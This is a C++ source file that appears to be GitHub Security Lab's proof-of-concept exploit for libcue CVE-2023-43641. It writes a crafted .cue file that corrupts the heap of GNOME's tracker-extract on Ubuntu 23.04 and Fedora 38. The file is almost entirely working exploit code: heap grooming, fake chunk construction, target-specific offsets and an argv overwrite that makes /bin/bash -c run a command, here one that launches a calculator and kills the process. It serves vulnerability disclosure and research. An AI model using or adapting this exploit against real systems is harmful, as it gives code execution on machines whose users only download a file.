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mkcue.cpp
565 lines (488 loc) · 23.1 KB
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mkcue.cpp
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#include "utils.h"
#include <assert.h>
#include <cstdint>
#include <limits>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Track {
const char *title_;
const char *composer_;
const char *arranger_;
const char *performer_;
const char *songwriter_;
const char *genre_;
const char *message_;
};
const Track track_fengshui1 = {
"Heap Feng Shui: empty the tcache",
"Allocate a chunk from tcache index 2 ",
"Allocate a chunk from tcache index 4 ",
"Allocate a chunk from tcache index 6 "
" \n ",
"Allocate a chunk from tcache index 7 "
" \n ",
"Allocate a chunk from tcache index 11 "
" \n "
" \n ",
"The goal here is to ensure that all subsequent allocations come\nfrom a "
"large contiguous block of memory. This string allocates a chunk "
"from\ntcache index 13. Doing this 14 times guarantees that the tcache is "
"empty. ",
};
const Track track_fengshui2 = {
"Repeat Heap Feng Shui ",
" ",
" ",
" "
" \n ",
" "
" \n ",
" "
" \n "
" \n ",
" \n "
" \n "
" ",
};
const Track track_rickroll = {
"Never Gonna Give You Up ",
"Rick Astley ",
" ",
"\nWe're no strangers to love\nYou know the rules and so do I\n "
" ",
"\nA full commitment's what I'm thinking of\nYou wouldn't get this from "
"any other guy\n ",
"\nI just want to tell you how I'm feeling\nGotta make you understand\n "
" \n "
" ",
"\nNever gonna give you up, never gonna let you down\nNever gonna run "
"around and desert you\nNever gonna make you cry, never gonna say "
"goodbye\nNever gonna tell a lie and hurt you\n "
" "};
// Calculate the tcache index that will be used for `malloc(size)`.
size_t calc_tcache_index(size_t size) {
if (size < 0x9) {
return 0;
}
return (size - 0x9) / 0x10;
}
static void write_cdtext(WriteBuf &buf, const size_t tidx, const char *item,
const char *str) {
// Confirm that the string is the correct length for the intended tcache
// index.
const size_t len = strlen(str);
const size_t idx = calc_tcache_index(len + 1);
if (idx != tidx) {
const char *problem = idx < tidx ? "short" : "long";
fprintf(stderr,
"String is too %s for target tcache index %ld. Actual index: "
"%ld.\nString:\n%s\n",
problem, tidx, idx, str);
exit(EXIT_FAILURE);
}
buf.write_string(item);
buf.write_string(" \"");
buf.write_string(str);
buf.write_string("\"\n");
}
static void set_index(WriteBuf &buf, int32_t i, uint32_t x) {
char str[256];
snprintf(str, sizeof(str), "INDEX %u %u\n", (uint32_t)i, x);
buf.write_string(str);
}
// Overwrite cd->ntrack, with the goal of writing a pointer
// to a track at the target address the next time that a new
// track is allocated.
static void set_cd_ntrack(WriteBuf &buf, size_t cd_ntrack_offset,
size_t track_offset, size_t target_offset) {
ptrdiff_t i = ((ptrdiff_t)(cd_ntrack_offset - track_offset) - 0x88) / 8;
ptrdiff_t x = ((ptrdiff_t)(target_offset - cd_ntrack_offset) - 0x8) / 8;
if (99 <= x) {
// To compensate for the adjustment that's made in cd_add_track.
x++;
}
set_index(buf, i, x);
}
static void new_track(WriteBuf &buf, size_t &tracknum) {
char str[256];
snprintf(str, sizeof(str), "TRACK %.3lu AUDIO\n", tracknum);
tracknum++;
buf.write_string(str);
}
static void write_complete_track(WriteBuf &buf, size_t &tracknum,
const Track &track) {
new_track(buf, tracknum);
write_cdtext(buf, 1, "TITLE", track.title_);
write_cdtext(buf, 2, "COMPOSER", track.composer_);
write_cdtext(buf, 4, "ARRANGER", track.arranger_);
write_cdtext(buf, 6, "PERFORMER", track.performer_);
write_cdtext(buf, 7, "SONGWRITER", track.songwriter_);
write_cdtext(buf, 11, "GENRE", track.genre_);
write_cdtext(buf, 13, "MESSAGE", track.message_);
}
static bool is_valid_string_byte(uint8_t x) { return x != 0 && x != '"'; }
static void create_fake_chunk(WriteBuf &buf, size_t track_offset,
uint16_t offset, uint16_t chunksize) {
char str[256];
const uint8_t lowbyte = offset & 0xff;
const uint8_t highbyte = offset >> 8;
assert(is_valid_string_byte(lowbyte));
assert(is_valid_string_byte(highbyte));
snprintf(str, sizeof(str),
"long string to overwrite low bytes of address "
" %c%c",
lowbyte, highbyte);
write_cdtext(buf, 7, "TITLE", str);
set_index(buf, -(track_offset + 0x90 - offset) / 8,
chunksize); // overwrite size of string chunk
buf.write_string("FILE pwned.mp3 MP3\n");
}
enum Target { Ubuntu23_04, Fedora38, NumTargets };
static void write_ghsecuritylab_track(WriteBuf &buf, size_t &tracknum,
Target target) {
Track track = {
"Copyright (c) 2023 GitHub, Inc.",
"[GitHub Security Lab](https://securitylab.github.com/)",
0,
"[Kevin Backhouse](https://github.com/kevinbackhouse) "
"\n ",
" "
"\n ",
"[The Malloc "
"Maleficarum](https://seclists.org/bugtraq/2005/Oct/118).\nSee also: "
"[how2heap](https://github.com/shellphish/how2heap).\n "
" ",
"Proof-of-concept exploit for libcue CVE-2023-43641 (GHSL-2023-197): out "
"of bounds\narray access in track_set_index. The vulnerability is used "
"to get code execution in GNOME's\ntracker-extract. Download this file "
"to pop a calc.",
};
char arranger[80];
const char *targetnames[NumTargets] = {"Ubuntu 23.04 (Lunar Lobster)",
"Fedora 38"};
snprintf(arranger, sizeof(arranger),
"\nThis version of the poc is tuned for %s "
" ",
targetnames[target]);
arranger[71] = '\n';
arranger[72] = '\0';
track.arranger_ = arranger;
write_complete_track(buf, tracknum, track);
}
Target select_target(const char *target) {
if (strcmp(target, "Ubuntu23_04") == 0) {
return Ubuntu23_04;
}
if (strcmp(target, "Fedora38") == 0) {
return Fedora38;
}
fprintf(stderr, "Target not recognized: %s\n", target);
exit(EXIT_FAILURE);
}
int main(int argc, char *argv[]) {
const uint16_t chunksize_track = 0x3b5;
const size_t rawbuf_len = 0x10000 - 0x20;
uint8_t *rawbuf = (uint8_t *)malloc(rawbuf_len);
size_t tracknum = 0;
size_t track_offset = 0;
if (argc != 2) {
fprintf(stderr, "usage: \nmkcue Ubuntu23_04\nmkcue Fedora38\n");
return EXIT_FAILURE;
}
const Target target = select_target(argv[1]);
const size_t cd_ntracks_offsets[NumTargets] = {0x12608, 0x12868};
const size_t cd_ntrack_offset = cd_ntracks_offsets[target];
WriteBuf buf(rawbuf, rawbuf_len);
buf.write_string("PERFORMER Kev\n");
write_cdtext(buf, 0, "TITLE", "Kev'z Warez");
buf.write_string("FILE pwned.mp3 MP3\n");
buf.write_string("\n");
new_track(buf, tracknum);
write_cdtext(buf, 15, "MESSAGE",
"First some [heap feng "
"shui](https://en.wikipedia.org/wiki/Heap_feng_shui):\nallocate "
"memory so that all subsequent allocations come from a "
"continguous block of\nmemory. For example, this string is 251 "
"characters long to use a chunk from tcache\nindex 15.");
// Use more memory.
new_track(buf, tracknum);
write_cdtext(buf, 5, "TITLE",
"A Track is 0x3a8 bytes, so creating many new tracks is a quick "
"way to use lots of memory.");
for (size_t i = 0; i < 31; i++) {
new_track(buf, tracknum);
write_cdtext(buf, 5, "TITLE",
"Again "
" ");
}
buf.write_string("\n");
write_complete_track(buf, tracknum, track_fengshui1);
buf.write_string("\n");
write_ghsecuritylab_track(buf, tracknum, target);
buf.write_string("\n");
write_complete_track(buf, tracknum, track_rickroll);
for (size_t i = 0; i < 11; i++) {
write_complete_track(buf, tracknum, track_fengshui2);
}
new_track(buf, tracknum);
const size_t offsets1[NumTargets] = {0x17f00, 0x18200};
track_offset = offsets1[target];
write_cdtext(buf, 1, "TITLE", "for freeing to tcache index 1");
write_cdtext(buf, 0, "TITLE", "free previous title");
// Overwrite cd->ntrack so that the next track pointer will be
// written to offset 0xd50.
set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xd50);
new_track(buf, tracknum);
const size_t offsets2[NumTargets] = {0x184b0, 0x187b0};
track_offset = offsets2[target];
write_cdtext(buf, 1, "TITLE", "Allocate previously freed string");
set_index(buf, -0x1c, 0x95); // overwrite size of string chunk
// This overwrites cd->ntrack. Every time a new track is allocated,
// its address is written to cd->track[cd->ntrack - 1]. The value
// of cd->ntrack is also incremented each time. I want to use this
// on the 5th new_track after this point, to overwrite offset
// 0xdd0 because that's going to be the location of my g_class struct
// and I need to set its g_type field.
set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xdb0);
// Use a fake chunk to overwrite the low bytes of info->file
// so that it points to offset 0xd50, which is where I'll create
// the fake file struct.
create_fake_chunk(buf, track_offset, 0xcf0, 0x45);
write_cdtext(buf, 2, "GENRE",
"set low bytes of info->file \x50\x0d");
// Use a fake chunk to overwrite the low bytes of info->file->g_class
// so that it points to offset 0xdd0, which is where I'll create
// the fake g_class
create_fake_chunk(buf, track_offset, 0xd30, 0x35);
write_cdtext(buf, 1, "PERFORMER", "set low bytes of file->g_class \xd0\x0d");
set_index(buf, -(track_offset + 0x88 - 0xd10) / 8, 0); // info->resource = 0
// Fake chunk for overwriting the lower bytes of info->file->g_class (later).
create_fake_chunk(buf, track_offset, 0xf10, 0x55);
// Fake chunk for overwriting the tcache (immediately below).
create_fake_chunk(buf, track_offset, 0x9b0, 0x45);
// Create a fake chunk at offset 0xe20, then overwrite its lower bytes in
// the tcache to change it to 0xe60. The chunk size (0x115) is chosen so
// it is stored in tcache->entries[15] (offset 0x9d8), which means that I
// can overwrite its lower bytes by writing a string to the fake chunk at
// offset 0x9b0.
const uint16_t chunksize_e60 = 0x115;
create_fake_chunk(buf, track_offset, 0xe20, chunksize_e60);
write_cdtext(buf, 2, "MESSAGE",
"set low bytes of tcache->entries[15] \x60\x0e");
write_cdtext(buf, 0, "MESSAGE", "kevwozere");
// Create a fake chunk at offset 0xdd0.
create_fake_chunk(buf, track_offset, 0xdd0, 0x55);
// track->file.start is at offset 0x30 in track
// track->file.length is at offset 0x38 in track
// track->index[0] is at offset 0x88 in track
// track->zero_pre.length is at offset 0x18 in track
//
// Series of calculations:
//
// prev_track->file.length = X - prev_track->file.start
// track->zero_pre.length = Y - track->index[0]
//
// So I want to prev_track->file.length and track->index[0] to be
// at the same address. Which means:
//
// prev_track + 0x38 == track + 0x88
//
// In other words: track == prev_track - 0x50
// Create a fake track-sized chunk at offset 0xde0.
create_fake_chunk(buf, track_offset, 0xde0, chunksize_track);
// Create a fake track-sized chunk at offset 0xe30.
create_fake_chunk(buf, track_offset, 0xe30, chunksize_track);
write_cdtext(buf, 15, "TITLE",
"long title to allocate 0x110-sized chunk. "
" "
" "
" ");
new_track(buf, tracknum); // Allocate a track at offset 0xe30
set_index(buf, -0x35, 0); // info->resource = 0
set_index(buf, -0x31, 1); // info->ref_count = 1
set_index(buf, -0x2a, 0); // self->launcher = 0
set_index(buf, -0x29, 0); // self->flags = 0
new_track(buf, tracknum); // Allocate a track at offset 0xde0
track_offset = 0xde0;
write_cdtext(
buf, 3, "TITLE",
"Overwrite low bytes of track->file.name \x60\x0e");
set_index(buf, -2, chunksize_e60);
buf.write_string("FILE \"wen poc?\" MP3\n");
// Create a fake track-sized chunk at offset 0xee0
write_cdtext(
buf, 3, "TITLE",
"Overwrite low bytes of track->file.name \xe0\x0e");
set_index(buf, 0xe, chunksize_track);
buf.write_string("FILE pwned.mp3 MP3\n");
// Create a fake track-sized chunk at offset 0xf30
write_cdtext(
buf, 3, "TITLE",
"Overwrite low bytes of track->file.name \x30\x0f");
set_index(buf, 0x18, chunksize_track);
buf.write_string("FILE pwned.mp3 MP3\n");
// Create a fake 0x30-sized chunk at offset 0xdb0. It will be used later to
// overwrite the pointer to the g_type stored at offset 0xdd0 (element 0 of
// the g_class).
write_cdtext(
buf, 3, "TITLE",
"Overwrite low bytes of track->file.name \xb0\x0d");
set_index(buf, -0x18, 0x35);
buf.write_string("FILE pwned.mp3 MP3\n");
// Use the two overlapping tracks to apply arithmetic
set_index(buf, 0, -1); // reset prev_track->file.length
set_index(buf, 1, 0);
const size_t codeoffsets1[NumTargets] = {0x1cdff0, 0x1cae20};
set_index(buf, 1, codeoffsets1[target]); // Offset from
// g_file_input_stream_real_query_info_finish
// to g_option_context_parse
set_index(buf, 0xe, 0); // Zero a field that causes a crash in gatomicarray.c
new_track(buf, tracknum); // Allocate a track at offset 0xf30
buf.write_string("FLAGS\n"); // The grammar requires at least one track
// statement between tracks
new_track(buf, tracknum); // Allocate a track at offset 0xee0
track_offset = 0xee0;
buf.write_string(
"ISRC "
"looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo"
"oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo"
"oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog-"
"string-to-allocate-0x110-sized-chunk\n");
// Allocate 0x50-sized chunk at offset 0xf10.
write_cdtext(buf, 3, "TITLE",
"long title to overwrite low bytes of track->isrc "
" \x60\x0f");
set_index(buf, -2, 0x115);
buf.write_string("ISRC short-string\n");
set_index(buf, 0, -1); // reset prev_track->file.length
set_index(buf, 1, 0);
const size_t codeoffsets2[NumTargets] = {0x3b290, 0x3d290};
set_index(buf, 1, codeoffsets2[target]); // Offset from
// g_file_input_stream_real_query_info_finish
// to initable_init
// Zero the tcache
set_index(buf, -0xd0, 0);
set_index(buf, -0xce, 0);
set_index(buf, -0x19, 100); // info->file->g_class->g_type->ref_count = 100
set_index(buf, -0x17, 0); // info->file->g_class->g_type->nsupers = 0
set_index(buf, -0x10, 0x50); // info->file->g_class->g_type->supers[0] = 0x50
new_track(buf, tracknum); // write a pointer to 0xdd0
const size_t offsets3[NumTargets] = {0x19290, 0x19590};
track_offset = offsets3[target];
// Overwrite cd->ntrack so that the next track pointer will get written
// to offset 0xeb8 (the location of cancellable->priv)
set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xeb8);
new_track(buf, tracknum); // This track is cancellable->priv.
const size_t offsets4[NumTargets] = {0x197f0, 0x19af0};
track_offset = offsets4[target];
set_index(buf, -0x11, 0); // cancellable->priv->cancelled = 0
// Overwrite cd->ntrack so that the next track pointer will get written
// to offset 0xd78 (the location of self->argv)
set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xd78);
new_track(buf, tracknum); // This track is the argv array. (offset 0x19d50)
const size_t offsets5[NumTargets] = {0x19d50, 0x1a050};
track_offset = offsets5[target];
const size_t argv_offset = track_offset;
set_index(buf, -0xe, 0); // argv[3] = 0
// Overwrite cd->ntrack so that the next track pointer will get written
// to offset 0x19d50 (the location of self->argv[0])
set_cd_ntrack(buf, cd_ntrack_offset, argv_offset, argv_offset);
write_cdtext(buf, 6, "TITLE",
"Temporary long title for tcache index 6 "
" ");
write_cdtext(buf, 0, "TITLE", "short title");
new_track(buf, tracknum); // this will be argv[0] (offset 0x1a350)
const size_t offsets6[NumTargets] = {0x1a350, 0x1a650};
track_offset = offsets6[target];
write_cdtext(buf, 6, "TITLE",
"Use long title from tcache index 6 "
" ");
set_index(buf, -0x26, 0xc5); // overwrite size of string chunk
write_cdtext(buf, 10, "TITLE",
" "
" "
" /bin/bash");
// Overwrite cd->ntrack so that the next track pointer will get written
// to offset 0x19d58 (the location of self->argv[1])
set_cd_ntrack(buf, cd_ntrack_offset, track_offset, argv_offset + 0x8);
new_track(buf, tracknum); // This track is argv[1]. (offset 0x1a8b0)
const size_t offsets7[NumTargets] = {0x1a8b0, 0x1abb0};
track_offset = offsets7[target];
uint32_t x = 0;
strcpy((char *)&x, "-c");
set_index(buf, -0x11, x);
// Overwrite cd->ntrack so that the next track pointer will get written
// to offset 0x19d60 (the location of self->argv[2]).
set_cd_ntrack(buf, cd_ntrack_offset, track_offset, argv_offset + 0x10);
write_cdtext(buf, 6, "TITLE",
"Temporary long title for tcache index 6 "
" ");
write_cdtext(buf, 0, "TITLE", "eta son");
new_track(buf, tracknum); // this will be argv[2]
write_cdtext(buf, 6, "TITLE",
"Use long title from tcache index 6 "
" ");
set_index(buf, -0x26, 0x165); // overwrite size of string chunk
write_cdtext(
buf, 20, "TITLE",
"This command is going to get called repeatedly in an infinite loop, so "
"send SIGSTOP to avoid a fork-bomb and use flock so only one calculator "
"starts. killall -SIGSTOP tracker-extract-3; flock -w 3 "
"~/Downloads/pwned.lock -c 'gnome-calculator -e 1337' && (sleep 10; rm "
"~/Downloads/pwned.lock; killall -SIGKILL tracker-extract-3)");
// To stop tracker-extract from crashing in g_option_context_parse
// immediately after it is has called initable_init, overwrite the
// next pointer of context->groups to add another link to the linked
// list, and point the next pointer back to offset 0xdd0 to create
// an infinite list. The loop will keep spinning until we have
// a chance to kill tracker-extract cleanly.
const size_t offsets8[NumTargets] = {0x1aeb0, 0x1b1b0};
track_offset = offsets8[target];
// Overwrite cd->ntrack so that the next track pointer will be
// written to offset 0xdd8.
set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xdd8);
write_cdtext(buf, 6, "PERFORMER",
"Temporary long name for tcache index 6 "
" ");
write_cdtext(buf, 0, "PERFORMER", "short name");
new_track(buf, tracknum); // This will be another link in context->groups
const size_t offsets9[NumTargets] = {0x1b4b0, 0x1b7b0};
track_offset = offsets9[target];
const size_t link_offset = track_offset;
// Overwrite cd->ntrack so that the next track pointer will be
// written to offset 0x8 within the current track.
set_cd_ntrack(buf, cd_ntrack_offset, track_offset, link_offset + 8);
write_cdtext(buf, 6, "TITLE",
"Use chunk from tcache index 6 "
" ");
set_index(buf, -0x26, 0xc5); // overwrite size of string chunk
write_cdtext(buf, 0, "TITLE", "short title");
// The only purpose of this track is to write a pointer at offset 0x8 in
// the previous track. I'll overwrite the bottom bytes of that pointer so
// that it points to offset 0xdd0.
new_track(buf, tracknum);
const size_t offsets10[NumTargets] = {0x1ba30, 0x1bd30};
track_offset = offsets10[target];
// Overwrite cd->ntrack so that the next track pointer will be
// written to offset 0x0 within the previous track.
set_cd_ntrack(buf, cd_ntrack_offset, track_offset, link_offset);
write_cdtext(buf, 10, "TITLE",
" "
" "
" \xd0\x0d");
tracknum = 1337;
new_track(buf, tracknum); // fake GOptionGroup
set_index(buf, -0x6, 0); // zero the pre_parse_func field
write_cdtext(buf, 2, "TITLE",
"Use the chunk that is still in tcache index 2");
write_cdtext(buf, 1, "MESSAGE", "pop that calc \xa0\x0e");
buf.write_string("REM DATE \"1992 AD\"\n");
// Pad the file with newline characters.
buf.write_many('\n', rawbuf_len - buf.offset());
buf.write_to_fd(STDOUT_FILENO);
free(rawbuf);
return 0;
}